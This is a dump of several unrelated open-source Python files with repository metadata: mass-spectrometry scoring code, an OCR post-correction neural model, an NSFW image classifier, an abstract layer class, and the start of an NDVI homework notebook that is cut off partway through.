ppmMatch = spectra_peak_comparison(libMzs, queMzs, ppmTol, ppmYOffset)\n                    for i in range(len(pMatch)):\n                        libPeak = pooledLibSpectra[pMatch[i]]\n                        quePeak = pooledQueSpectra[jMatch[i]]\n\n                        update_return_values(returns, pooledLibSpectra[pMatch[i]], pooledQueSpectra[jMatch[i]], pMatch[i], jMatch[i], ppmMatch[i], 'identify')\n                        #data.append([libPeak[2], quePeak[2], libPeak[1], quePeak[1], ppmMatch[i]])\n                    # output values are saved to the output file\n\n                    pooledQueSpectra.clear()\n\n            cosDict, countDict, ionDict, ppmDict = returns\n            data = []\n            maccs = []\n\n            for key, value in countDict.items():\n                if value > 2:\n                    macc = (value**(1/5))*cosine_similarity(cosDict[key])\n                    #df = pd.DataFrame(ppmDict[key], columns=columns)\n                    #df['MaCC'] = pd.Series(macc, index=df.index)\n                    #dfs.append(df)\n                    #data += ppmDict[key]\n                    #maccDict[key] = macc\n                    #data.extend(ppmDict[key])\n                    #allData += ppmDict[key]\n                    maccs += [macc] * value\n\n                    #libKey = idToKeyDict[key[0]]\n                    decoy = 0\n                    if 'DECOY' in lib[idToKeyDict[key[0]]]['ProteinName']: decoy = 1\n                    #decs += [decoy] * value\n                    maccDecoys.append((macc,decoy))\n\n            #data = pd.concat(dfs)\n            data = pd.DataFrame(data, columns=['libID','queID','libIntensity','queIntensity','ppmDiff'])\n            data['MaCC_Score'] = maccs\n            #data = data.groupby(['libID','queID']).filter(lambda x: len(x.index) > 2.)\n            #data = data.groupby(['libID','queID']).apply(add_macc_column, maccDict)\n\n            data, NAlist = reduce_mem_usage(data)\n            #allDfs.append(data)\n            #with bz2.BZ2File(pickleDir+pickleHeader+str(count), 'w') as pickleFile: pickle.dump(data, pickleFile)\n\n            #compressedWindows.append(zlib.compress(pickle.dumps(data)))\n            #print('size: '+str(sys.getsizeof(zlib.compress(pickle.dumps(data),zlib.Z_BEST_COMPRESSION))), flush=True)\n            #print('size: '+str(sys.getsizeof(data)), flush=True)\n            #return []\n            #compressedWindows.append(data)\n            # print statements for the user to track progress.\n            count += 1\n            #if count % 1000 == 0:\n            if count % printCutoff == 0:\n                time = timer()\n                #print('\\nNumber of Pooled Experimental Spectra Analyzed: ' + str(count))\n                #print('Number of Spectra in Current Pooled Spectra: ' + str(len(scans)))\n                #print('Time Since Last Checkpoint: ' + str(round(time-prevtime,2)) + ' Seconds', flush=True)\n                print(round(time-prevtime,2),flush=True)\n                prevtime = time\n\n    pickle.dump(maccDict, open('C:/Users/ccranney/Desktop/Caleb_Files/data/output/CompressTest/maccDict.p', 'wb'))\n\n    #lib = pickle.load(open(args['outDirectory']+'mgf_lib.p', 'rb'))\n    #print('size: '+str(sys.getsizeof(compressedWindows)))\n    # Prints the final number of experimental spectra analyzed.\n    print('Total Time (seconds): ' + str(timer()))\n    print('Count: '+str(count),flush=True)\n    return ppmList\n#'''\n", "meta": {"hexsha": "c4bfaba64c114636c08de1bf89445c42eceadb0b", "size": 52058, "ext": "py", "lang": "Python", "max_stars_repo_path": "Python Extras/test_figures.py", "max_stars_repo_name": "CCranney/CsoDIAq", "max_stars_repo_head_hexsha": "ac52045c442047dd755288abb58b6449c7aa5bec", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Python Extras/test_figures.py", "max_issues_repo_name": "CCranney/CsoDIAq", "max_issues_repo_head_hexsha": "ac52045c442047dd755288abb58b6449c7aa5bec", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 12, "max_issues_repo_issues_event_min_datetime": "2021-05-15T01:44:22.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-28T18:02:03.000Z", "max_forks_repo_path": "Python Extras/test_figures.py", "max_forks_repo_name": "CCranney/CsoDIAq", "max_forks_repo_head_hexsha": "ac52045c442047dd755288abb58b6449c7aa5bec", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2022-01-31T05:47:38.000Z", "max_forks_repo_forks_event_max_datetime": "2022-01-31T05:47:38.000Z", "avg_line_length": 41.15256917, "max_line_length": 355, "alphanum_fraction": 0.6498712974, "include": true, "reason": "import numpy,from numba", "num_tokens": 14947, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5078118642792044, "lm_q2_score": 0.19682620835441803, "lm_q1q2_score": 0.09995068380346414}}
{"text": "\"\"\"Module for a multisource sequence-to-sequence model.\n\nThe model has either one or two encoders (corresponding to the number of input sources).\nThe attention mechanism concatenates the context vectors from both encoders, which is then used by the decoder to generate the output.\n\nThe model also has adaptations for the low-resource setting: copy mechanism, coverage mechanism, and diagonal attention loss.\nThese can be switched on or off as hyperparameters to the model.\n\nThe OCR post-correction training process uses early stopping on the validation set character error rate.\n\nThe model uses beam search for generation.\n\nCopyright (c) 2021, Shruti Rijhwani\nAll rights reserved.\n\nThis source code is licensed under the BSD-style license found in the\nLICENSE file in the root directory of this source tree. \n\"\"\"\n\n\nimport _dynet as dy\nfrom constants import (\n    LSTM_NUM_OF_LAYERS,\n    EMBEDDING_DIM,\n    HIDDEN_DIM,\n    ATTENTION_SIZE,\n    UNK,\n    EOS,\n    COV_LOSS_WEIGHT,\n    DIAG_LOSS_WEIGHT,\n)\nfrom utils import DataReader, Hypothesis\nimport math\nimport numpy as np\nimport random\nimport logging\n\n\nclass TwoSourceModel:\n    def __init__(\n        self,\n        src1_vocab,\n        src2_vocab,\n        tgt_vocab,\n        single,\n        pointer_gen,\n        coverage,\n        diag_loss,\n        load_model,\n        model_file,\n        beam_size,\n        best_val_cer,\n    ):\n        self.model = dy.ParameterCollection()\n\n        self.src1_vocab = src1_vocab\n        self.src2_vocab = src2_vocab\n        self.tgt_vocab = tgt_vocab\n\n        self.src1_lookup = self.model.add_lookup_parameters(\n            (src1_vocab.length(), EMBEDDING_DIM)\n        )\n        self.src2_lookup = self.model.add_lookup_parameters(\n            (src2_vocab.length(), EMBEDDING_DIM)\n        )\n        self.tgt_lookup = self.model.add_lookup_parameters(\n            (tgt_vocab.length(), EMBEDDING_DIM)\n        )\n\n        self.enc1_fwd_lstm = dy.CoupledLSTMBuilder(\n            LSTM_NUM_OF_LAYERS, EMBEDDING_DIM, HIDDEN_DIM, self.model\n        )\n        self.enc1_bwd_lstm = dy.CoupledLSTMBuilder(\n            LSTM_NUM_OF_LAYERS, EMBEDDING_DIM, HIDDEN_DIM, self.model\n        )\n        self.pret1_w = self.model.add_parameters((src1_vocab.length(), HIDDEN_DIM))\n        self.pret1_b = self.model.add_parameters((src1_vocab.length()))\n\n        self.enc2_fwd_lstm = dy.CoupledLSTMBuilder(\n            LSTM_NUM_OF_LAYERS, EMBEDDING_DIM, HIDDEN_DIM, self.model\n        )\n        self.enc2_bwd_lstm = dy.CoupledLSTMBuilder(\n            LSTM_NUM_OF_LAYERS, EMBEDDING_DIM, HIDDEN_DIM, self.model\n        )\n        self.pret2_w = self.model.add_parameters((src2_vocab.length(), HIDDEN_DIM))\n        self.pret2_b = self.model.add_parameters((src2_vocab.length()))\n\n        self.att1_w1 = self.model.add_parameters((ATTENTION_SIZE, HIDDEN_DIM * 2))\n        self.att1_w2 = self.model.add_parameters(\n            (ATTENTION_SIZE, HIDDEN_DIM * LSTM_NUM_OF_LAYERS * 2)\n        )\n        self.att1_v = self.model.add_parameters((1, ATTENTION_SIZE))\n\n        self.att2_w1 = self.model.add_parameters((ATTENTION_SIZE, HIDDEN_DIM * 2))\n        self.att2_w2 = self.model.add_parameters(\n            (ATTENTION_SIZE, HIDDEN_DIM * LSTM_NUM_OF_LAYERS * 2)\n        )\n        self.att2_v = self.model.add_parameters((1, ATTENTION_SIZE))\n\n        self.dec_lstm = dy.CoupledLSTMBuilder(\n            LSTM_NUM_OF_LAYERS, HIDDEN_DIM * 4 + EMBEDDING_DIM, HIDDEN_DIM, self.model\n        )\n        self.W_s = self.model.add_parameters((HIDDEN_DIM, HIDDEN_DIM * 4))\n        self.b_s = self.model.add_parameters((HIDDEN_DIM))\n        self.dec_w = self.model.add_parameters((tgt_vocab.length(), HIDDEN_DIM))\n        self.dec_b = self.model.add_parameters((tgt_vocab.length()))\n\n        # Pointer-generator parameters\n        self.ptr_w_c = self.model.add_parameters((1, 2 * HIDDEN_DIM))\n        self.ptr_w_s = self.model.add_parameters((1, 2 * HIDDEN_DIM))\n        self.ptr_w_x = self.model.add_parameters((1, EMBEDDING_DIM + 4 * HIDDEN_DIM))\n\n        # Coverage parameters\n        self.w_cov = self.model.add_parameters((ATTENTION_SIZE, 1))\n\n        self.single_source = single\n        self.pointer_gen = pointer_gen\n        self.coverage = coverage\n        self.diag_loss = diag_loss\n        self.model_file = model_file\n\n        if load_model:\n            self.model.populate(load_model)\n            logging.info(\"Loaded model: {}\".format(load_model))\n\n        self.beam_size = beam_size\n        self.best_val_cer = best_val_cer\n\n    def save(self):\n        self.model.save(self.model_file)\n\n    def run_lstm(self, init_state, input_vecs):\n        out_vectors = init_state.transduce(input_vecs)\n        return out_vectors\n\n    def embed_idx(self, idx_list, embed_lookup):\n        return [embed_lookup[idx] for idx in idx_list]\n\n    def encode(self, embeds, fwd_lstm, bwd_lstm):\n        embeds_rev = list(reversed(embeds))\n        fwd_vectors = self.run_lstm(fwd_lstm.initial_state(), embeds)\n        bwd_vectors = self.run_lstm(bwd_lstm.initial_state(), embeds_rev)\n        bwd_vectors = list(reversed(bwd_vectors))\n        vectors = [dy.concatenate(list(p)) for p in zip(fwd_vectors, bwd_vectors)]\n        return vectors\n\n    def encoder_forward(self, src1, src2):\n        embedded_src1 = self.embed_idx(src1, self.src1_lookup)\n        if self.single_source:\n            embedded_src2 = [dy.vecInput(EMBEDDING_DIM) for idx in src2]\n        else:\n            embedded_src2 = self.embed_idx(src2, self.src2_lookup)\n\n        encoded_src1 = self.encode(\n            embedded_src1, self.enc1_fwd_lstm, self.enc1_bwd_lstm\n        )\n        encoded_src2 = self.encode(\n            embedded_src2, self.enc2_fwd_lstm, self.enc2_bwd_lstm\n        )\n\n        src1_mat = dy.concatenate_cols(encoded_src1)\n        src1_w1dt = self.att1_w1 * src1_mat\n        src2_mat = dy.concatenate_cols(encoded_src2)\n        src2_w1dt = self.att2_w1 * src2_mat\n\n        if not self.single_source:\n            start = (\n                self.W_s * dy.concatenate([encoded_src1[-1], encoded_src2[-1]])\n                + self.b_s\n            )\n        else:\n            start = (\n                self.W_s\n                * dy.concatenate([encoded_src1[-1], dy.vecInput(2 * HIDDEN_DIM)])\n                + self.b_s\n            )\n\n        last_output_embeddings = self.tgt_lookup[self.tgt_vocab.str2int(EOS)]\n        c1_t = dy.vecInput(2 * HIDDEN_DIM)\n        c2_t = dy.vecInput(2 * HIDDEN_DIM)\n        decoder_state = self.dec_lstm.initial_state([start, dy.tanh(start)]).add_input(\n            dy.concatenate([c1_t, c2_t, last_output_embeddings])\n        )\n        return src1_mat, src2_mat, src1_w1dt, src2_w1dt, decoder_state\n\n    def attend(self, input_mat, state, w1dt, w2, v, coverage):\n        w2dt = w2 * dy.concatenate(list(state.s()))\n        if coverage:\n            w1dt = w1dt + self.w_cov * dy.transpose(coverage)\n        a_t = dy.transpose(v * dy.tanh(dy.colwise_add(w1dt, w2dt)))\n        a_t = dy.softmax(a_t)\n        return a_t, (input_mat * a_t)\n\n    def get_pointergen_probs(self, c_t, state, x_t, a_t, probs, src1):\n        if not self.pointer_gen:\n            return probs, 1.0\n        unk_idx = self.tgt_vocab.str2int(UNK)\n        p_gen = dy.logistic(\n            self.ptr_w_c * c_t\n            + self.ptr_w_s * dy.concatenate(list(state.s()))\n            + self.ptr_w_x * x_t\n        )\n        gen_probs = probs * p_gen\n        copy_probs = a_t * (1 - p_gen)\n        copy_probs_update = []\n        for i in gen_probs:\n            copy_probs_update.append([i])\n        for char, prob in zip(src1, copy_probs):\n            cur_idx = self.tgt_vocab.str2int(self.src1_vocab.int2str(char))\n            if cur_idx == unk_idx:\n                continue\n            if isinstance(cur_idx, int):\n                copy_probs_update[cur_idx].append(prob)\n            else:\n                for idx in cur_idx:\n                    copy_probs_update[idx].append(prob / len(cur_idx))\n        sum_probs = dy.concatenate([dy.esum(exps) for exps in copy_probs_update])\n        return sum_probs, p_gen.scalar_value()\n\n    def get_coverage(self, a_t, prev_coverage, training=True):\n        if not self.coverage:\n            if not training:\n                return None\n            return dy.scalarInput(0), None\n        coverage = a_t + prev_coverage\n        if training:\n            return (\n                dy.sum_elems(dy.min_dim(dy.concatenate([a_t, coverage], d=1), d=1)),\n                coverage,\n            )\n        return coverage\n\n    def get_diag_loss(self, a_t, t):\n        if self.diag_loss < 0:\n            return dy.scalarInput(0)\n        off_diag_elems = [dy.scalarInput(0)]\n        for i, prob in enumerate(a_t):\n            if i < (t - self.diag_loss) or i > (t + self.diag_loss):\n                off_diag_elems.append(prob)\n        return dy.esum(off_diag_elems)\n\n    def decode_loss(self, src1, src2, tgt):\n        src1_mat, src2_mat, src1_w1dt, src2_w1dt, decoder_state = self.encoder_forward(\n            src1, src2\n        )\n        _, prev_coverage = self.get_coverage(\n            a_t=dy.vecInput(len(src1)), prev_coverage=dy.vecInput(len(src1))\n        )\n\n        loss = []\n        cov_loss = []\n        diag_loss = []\n\n        embedded_tgt = self.embed_idx(tgt, self.tgt_lookup)\n        last_output_embeddings = self.tgt_lookup[self.tgt_vocab.str2int(EOS)]\n\n        for t, (char, embedded_char) in enumerate(zip(tgt, embedded_tgt)):\n            a_t, c1_t = self.attend(\n                src1_mat,\n                decoder_state,\n                src1_w1dt,\n                self.att1_w2,\n                self.att1_v,\n                prev_coverage,\n            )\n            if not self.single_source:\n                _, c2_t = self.attend(\n                    src2_mat, decoder_state, src2_w1dt, self.att2_w2, self.att2_v, None\n                )\n            else:\n                c2_t = dy.vecInput(2 * HIDDEN_DIM)\n\n            x_t = dy.concatenate([c1_t, c2_t, last_output_embeddings])\n            decoder_state = decoder_state.add_input(x_t)\n\n            out_vector = self.dec_w * decoder_state.output() + self.dec_b\n            probs = dy.softmax(out_vector)\n            probs, _ = self.get_pointergen_probs(\n                c1_t, decoder_state, x_t, a_t, probs, src1\n            )\n\n            loss.append(-dy.log(dy.pick(probs, char)))\n            cov_loss_cur, prev_coverage = self.get_coverage(a_t, prev_coverage)\n            cov_loss.append(cov_loss_cur)\n            diag_loss.append(self.get_diag_loss(a_t, t))\n\n            last_output_embeddings = embedded_char\n\n        loss = dy.esum(loss)\n        cov_loss = dy.esum(cov_loss)\n        diag_loss = dy.esum(diag_loss)\n        return loss + COV_LOSS_WEIGHT * cov_loss + DIAG_LOSS_WEIGHT * diag_loss\n\n    def get_loss(self, src1, src2, tgt):\n        return self.decode_loss(src1, src2, tgt)\n\n    def generate_beam(self, src1, src2):\n        src1_mat, src2_mat, src1_w1dt, src2_w1dt, decoder_state = self.encoder_forward(\n            src1, src2\n        )\n\n        hypothesis_list = [\n            Hypothesis(\n                text_list=[self.tgt_vocab.str2int(EOS)],\n                decoder_state=decoder_state,\n                c1_t=dy.vecInput(2 * HIDDEN_DIM),\n                c2_t=dy.vecInput(2 * HIDDEN_DIM),\n                prev_coverage=self.get_coverage(\n                    a_t=dy.vecInput(len(src1)),\n                    training=False,\n                    prev_coverage=dy.vecInput(len(src1)),\n                ),\n                score=0.0,\n                p_gens=[],\n            )\n        ]\n        completed_list = []\n\n        for t in range(int(len(src1) * 1.1)):\n            new_hyp_list = []\n            new_hyp_scores = []\n            for hyp in hypothesis_list:\n                last_output_embeddings = self.tgt_lookup[hyp.text_list[-1]]\n\n                a_t, c1_t = self.attend(\n                    src1_mat,\n                    hyp.decoder_state,\n                    src1_w1dt,\n                    self.att1_w2,\n                    self.att1_v,\n                    hyp.prev_coverage,\n                )\n                if not self.single_source:\n                    _, c2_t = self.attend(\n                        src2_mat,\n                        hyp.decoder_state,\n                        src2_w1dt,\n                        self.att2_w2,\n                        self.att2_v,\n                        None,\n                    )\n                else:\n                    c2_t = dy.vecInput(2 * HIDDEN_DIM)\n\n                x_t = dy.concatenate([c1_t, c2_t, last_output_embeddings])\n                decoder_state = hyp.decoder_state.add_input(x_t)\n\n                probs = dy.softmax(self.dec_w * decoder_state.output() + self.dec_b)\n                probs, cur_p_gen = self.get_pointergen_probs(\n                    c1_t, decoder_state, x_t, a_t, probs, src1\n                )\n                probs = probs.npvalue()\n\n                for ind in range(len(probs)):\n                    text_list = hyp.text_list + [ind]\n                    p_gens = hyp.p_gens + [cur_p_gen]\n                    score = (hyp.score + math.log(probs[ind])) / (len(text_list) ** 0.0)\n                    coverage = self.get_coverage(a_t, hyp.prev_coverage, training=False)\n                    new_hyp_list.append(\n                        Hypothesis(\n                            text_list=text_list,\n                            decoder_state=decoder_state,\n                            c1_t=c1_t,\n                            c2_t=c2_t,\n                            prev_coverage=coverage,\n                            score=score,\n                            p_gens=p_gens,\n                        )\n                    )\n                    new_hyp_scores.append(score)\n\n            top_inds = np.argpartition(np.array(new_hyp_scores), -self.beam_size)[\n                -self.beam_size :\n            ]\n            new_hyp_list = np.array(new_hyp_list)[top_inds]\n\n            hypothesis_list = []\n\n            for new_hyp in new_hyp_list:\n                if new_hyp.text_list[-1] == self.tgt_vocab.str2int(EOS) and t > 0:\n                    completed_list.append(new_hyp)\n                else:\n                    hypothesis_list.append(new_hyp)\n\n            if len(completed_list) >= self.beam_size:\n                break\n\n        if len(completed_list) == 0:\n            sorted(hypothesis_list, key=lambda x: x.score, reverse=True)\n            completed_list = [hypothesis_list[0]]\n\n        for hyp in completed_list:\n            hyp.text_list = [self.tgt_vocab.int2str(i) for i in hyp.text_list]\n\n        top_hyp = sorted(completed_list, key=lambda x: x.score, reverse=True)[0]\n        return \"\".join(top_hyp.text_list).replace(EOS, \"\").strip(), top_hyp.p_gens[1:-1]\n", "meta": {"hexsha": "d038885e330501f67be82650a81a31ada2abfb50", "size": 14655, "ext": "py", "lang": "Python", "max_stars_repo_path": "postcorrection/multisource_model.py", "max_stars_repo_name": "shrutirij/ocr-post-correction", "max_stars_repo_head_hexsha": "19df43831e6979fb11f0d166e66bb3e9100eabe8", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 35, "max_stars_repo_stars_event_min_datetime": "2021-11-05T21:00:03.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T19:26:43.000Z", "max_issues_repo_path": "postcorrection/multisource_model.py", "max_issues_repo_name": "neulab/ocr-post-correction", "max_issues_repo_head_hexsha": "5212c109930c5f4e23ec0ca350d105ecaa7d26e8", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": 2, "max_issues_repo_issues_event_min_datetime": "2021-12-03T05:27:18.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-07T18:09:25.000Z", "max_forks_repo_path": "postcorrection/multisource_model.py", "max_forks_repo_name": "neulab/ocr-post-correction", "max_forks_repo_head_hexsha": "5212c109930c5f4e23ec0ca350d105ecaa7d26e8", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": 8, "max_forks_repo_forks_event_min_datetime": "2021-04-08T07:18:36.000Z", "max_forks_repo_forks_event_max_datetime": "2021-10-13T04:36:05.000Z", "avg_line_length": 36.9143576826, "max_line_length": 134, "alphanum_fraction": 0.5819174343, "include": true, "reason": "import numpy", "num_tokens": 3479, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.5273165233795671, "lm_q2_score": 0.18952109361853836, "lm_q1q2_score": 0.09993760419402112}}
{"text": "import os\r\nimport cv2\r\nimport configparser\r\nimport numpy as np\r\nimport tensorflow as tf\r\n\r\n\r\nclass NSFWModule:\r\n    # \u9ed8\u8ba4\u5fc5\u987b\u4f7f\u7528gpu\r\n    def __init__(self, conf: configparser.ConfigParser, gpu_id: int):\r\n\r\n        model_path = conf.get(\"nsfw\", \"model_path\")\r\n        max_memory = int(conf.get(\"nsfw\", \"max_memory\"))\r\n        gpus = tf.config.list_physical_devices('GPU')\r\n        gpu_used = None\r\n        for item in gpus:\r\n            # print(item)\r\n            if str(gpu_id) in item.name:\r\n                gpu_used = item\r\n        if gpu_used is None:\r\n            raise ValueError(\"Your machine mayn't have %d gpu, please check your 'gpu_id'!\" % (gpu_id))\r\n        tf.config.experimental.set_virtual_device_configuration(\r\n            gpu_used,\r\n            [tf.config.experimental.VirtualDeviceConfiguration(memory_limit=max_memory)])\r\n        self.gpu = '/device:GPU:' + str(gpu_id)\r\n        with tf.device(self.gpu):\r\n            self.model = self.__load_model(model_path)\r\n\r\n    def __load_model(self, model_path: str):\r\n        if model_path is None or not os.path.exists(model_path):\r\n            raise ValueError(\"saved_model_path must be the valid directory of a saved model to load.\")\r\n\r\n        model = tf.keras.models.load_model(model_path)  # , custom_objects={'KerasLayer': hub.KerasLayer})\r\n        return model\r\n\r\n    def detect(self, batch_image: np.ndarray):\r\n        batch_image = np.asarray([cv2.resize(cv2.cvtColor(item, cv2.COLOR_BGR2RGB), (224, 224))\r\n                                  for item in batch_image], dtype=np.float32) / 255\r\n        result = []\r\n        with tf.device(self.gpu):\r\n            model_preds = self.model.predict(batch_image)\r\n            categories = ['drawings', 'hentai', 'neutral', 'porn', 'sexy']\r\n            for item in model_preds.tolist():\r\n                class_ = item.index(max(item))\r\n                result.append(categories[class_])\r\n        result = [item if item != \"neutral\" else None for item in result]\r\n        return result\r\n\r\n", "meta": {"hexsha": "9b0c327ec9f73df609b1d2688f48e994701207e6", "size": 1996, "ext": "py", "lang": "Python", "max_stars_repo_path": "recognition/nsfw/nsfwModule.py", "max_stars_repo_name": "kalenforn/MMVA", "max_stars_repo_head_hexsha": "1e4ec5417d4497a14f226fab8a66fe065a9f0f65", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2021-12-16T08:17:49.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-12T10:14:50.000Z", "max_issues_repo_path": "recognition/nsfw/nsfwModule.py", "max_issues_repo_name": "kalenforn/video-content-clean", "max_issues_repo_head_hexsha": "4b6e572ec034fbe2e668c250cff8e1c9a13dd0e0", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "recognition/nsfw/nsfwModule.py", "max_forks_repo_name": "kalenforn/video-content-clean", "max_forks_repo_head_hexsha": "4b6e572ec034fbe2e668c250cff8e1c9a13dd0e0", "max_forks_repo_licenses": ["MIT"], "max_forks_count": 1, "max_forks_repo_forks_event_min_datetime": "2021-12-14T08:17:41.000Z", "max_forks_repo_forks_event_max_datetime": "2021-12-14T08:17:41.000Z", "avg_line_length": 40.7346938776, "max_line_length": 107, "alphanum_fraction": 0.6067134269, "include": true, "reason": "import numpy", "num_tokens": 440, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. YES\n2. NO", "lm_q1_score": 0.519521321952093, "lm_q2_score": 0.1919327887583263, "lm_q1q2_score": 0.0997131761416775}}
{"text": "from abc import ABC, abstractmethod\nimport numpy as np\n\n\nclass Layer(ABC):\n\n    @abstractmethod\n    def forward(self,\n                x: np.ndarray):\n        pass\n\n    @abstractmethod\n    def backward(self,\n                 prev_error: np.ndarray):\n        pass\n\n    @abstractmethod\n    def update_parameters(self,\n                          alpha: float,\n                          beta: float):\n        pass\n", "meta": {"hexsha": "bafa2b69f80d5328f71f15359ed6e878318f3f1b", "size": 408, "ext": "py", "lang": "Python", "max_stars_repo_path": "Project1/src/layer.py", "max_stars_repo_name": "YuseqYaseq/pw-deep-learning", "max_stars_repo_head_hexsha": "0866418e348d1fa5441e22ffdb019b4e128d2051", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "Project1/src/layer.py", "max_issues_repo_name": "YuseqYaseq/pw-deep-learning", "max_issues_repo_head_hexsha": "0866418e348d1fa5441e22ffdb019b4e128d2051", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "Project1/src/layer.py", "max_forks_repo_name": "YuseqYaseq/pw-deep-learning", "max_forks_repo_head_hexsha": "0866418e348d1fa5441e22ffdb019b4e128d2051", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 18.5454545455, "max_line_length": 41, "alphanum_fraction": 0.5220588235, "include": true, "reason": "import numpy", "num_tokens": 78, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.5, "lm_q2_score": 0.19930799077007072, "lm_q1q2_score": 0.09965399538503536}}
{"text": "#!/usr/bin/env python\n# coding: utf-8\n\n# <img style=\"float: left;\" src=\"earth-lab-logo-rgb.png\" width=\"150\" height=\"150\" />\n# \n# # Earth Analytics Education - EA  Python Course Spring 2021\n\n# ## Important  - Assignment Guidelines\n# \n# 1. Before you submit your assignment to GitHub, make sure to run the entire notebook with a fresh kernel. To do this first, **restart the kernel** (in the menubar, select Kernel$\\rightarrow$Restart & Run All)\n# 2. Always replace the `raise NotImplementedError()` code with your code that addresses the activity challenge. If you don't replace that code, your notebook will not run.\n# \n# ```\n# # YOUR CODE HERE\n# raise NotImplementedError()\n# ```\n# \n# 3. Any open ended questions will have a \"YOUR ANSWER HERE\" within a markdown cell. Replace that text with your answer also formatted using Markdown.\n# 4. **DO NOT RENAME THIS NOTEBOOK File!** If the file name changes, the autograder will not grade your assignment properly.\n# 6. When you create a figure, comment out `plt.show()` to ensure the autograder can grade your plots. For figure cells, DO NOT DELETE the code that says `DO NOT REMOVE LINE BELOW`.\n# \n# ```\n# ### DO NOT REMOVE LINE BELOW ###\n# student_plot1_ax = nb.convert_axes(plt)\n# ```\n# \n# * Only include the package imports, code, and outputs that are required to run your homework assignment.\n# * Be sure that your code can be run on any operating system. This means that:\n#    1. the data should be downloaded in the notebook to ensure it's reproducible\n#    2. all paths should be created dynamically using the `os.path.join`\n# \n# ## Follow to PEP 8 Syntax Guidelines & Documentation\n# \n# * Run the `autopep8` tool on all cells prior to submitting (HINT: hit shift + the tool to run it on all cells at once!\n# * Use clear and expressive names for variables. \n# * Organize your code to support readability.\n# * Check for code line length\n# * Use comments and white space sparingly where it is needed\n# * Make sure all python imports are at the top of your notebook and follow PEP 8 order conventions\n# * Spell check your Notebook before submitting it.\n# \n# For all of the plots below, be sure to do the following:\n# \n# * Make sure each plot has a clear TITLE and, where appropriate, label the x and y axes. Be sure to include UNITS in your labels.\n# \n\n# ### Add Your Name Below \n# **Your Name:** Maeve McCormick\n\n# <img style=\"float: left;\" src=\"colored-bar.png\"/>\n\n# ---\n\n# # Week 04 and 05 Homework - Automate NDVI Workflow\n# \n# For this assignment, you will write code to generate a plot of the mean normalized difference vegetation index (NDVI) for two different sites in the United States across one year of data:\n# \n# * San Joaquin Experimental Range (SJER) in Southern California, United States\n# * Harvard Forest (HARV) in the Northeastern United States\n# \n# The data that you will use for this week is available from **earthpy** using the following download: \n# \n# `et.data.get_data('ndvi-automation')`\n# \n# ## Assignment Goals\n# \n# Your goal in this assignment is to create the most efficient and concise workflow that you can that allows for:\n# \n# 1. The code to scale if you added new sites or more time periods to the analysis.\n# 2. Someone else to understand your workflow.\n# 3. The LEAST and most efficient (i.e. runs fast, minimize repetition) amount of code that completes the task.\n# \n# ### HINTS\n# \n# * Remove values outside of the landsat valid range of values as specified in the metadata, as needed.\n# * Keep any output files SEPARATE FROM input files. Outputs should be created in an outputs directory that is created in the code (if needed) and/or tested for.\n# * Use the functions that we demonstrated during class to make your workflow more efficient.\n# * BONUS - if you  chose - you can export your data as a csv file. You will get bonus points for doing this.\n# \n# \n# ## Assignment Requirements\n# \n# Your submission to the GitHub repository should include:\n# * This Jupyter Notebook file (.ipynb) with:\n#     * The code to create a plot of mean NDVI across a year for  2 NEON Field Sites:\n#         * NDVI on the x axis and formatted dates on the y for both NEON sites on one figure/axis object\n#     * The **data should be cleaned to remove the influence of clouds**. See the [earthdatascience website for an example of what your plot might look like with and without removal of clouds](https://www.earthdatascience.org/courses/earth-analytics-python/create-efficient-data-workflows/).\n# * BONUS: Create one output `.csv` file that has 3 columns - NDVI, Date and Site Name - with values for SJER and HARV.\n# \n# Your notebook should:\n# * Have *at least* 2 well documented and well named functions with docstrings.\n# * Include a Markdown cell at the top of the notebook that outlines the overall workflow using pseudocode (i.e. plain language, not code)\n# * Include additional Markdown cells throughout the notebook to describe: \n#     * the data that you used - and where it is from\n#     * how data are being processing\n#     * how the code is optimized to run fast and be more concise\n\n# # Replace this cell with your pseudocode  for this workflow\n# \n# If you happen to be a diagram person a diagram is ok too\n# \n# \n\n# ## Maeve's workflow:\n# * Import needed packages, set the working directory, and download the data with earthpy.\n# * Define a variable for the values used for cloud masking right away because you'll need it throughout the script and it's nice to have at the top of your workflow so it gets called right away.\n# * Pick a single scene from a single site and use it to figure out what you need to do to grab and then process the needed files (clipping, masking, etc).\n# * Write functions to automate the step-by-step workflow you come up with (probably one to get the files and a separate one to crop, mask, and calculate ndvi). **Make sure you replace any specific variables/parameter names with generic ones so the functions work universally, and not just on a given part of the data.**\n# * Test your functions on the single site again to make sure they work and return a reasonable/expected result.\n# * Calculate mean ndvi from the cropped and masked ndvi.\n# * Pull the date and site name from the file name/directory path and store those in a list with the mean ndvi values.\n# * Convert the list to a dataframe and reset the index to the date column.\n# * Write a series of nested loops using your functions to automate through *all* of the data in the directories.\n#     * The outermost loop should cycle through sites (make it generic enough - we only have two in this case but it could 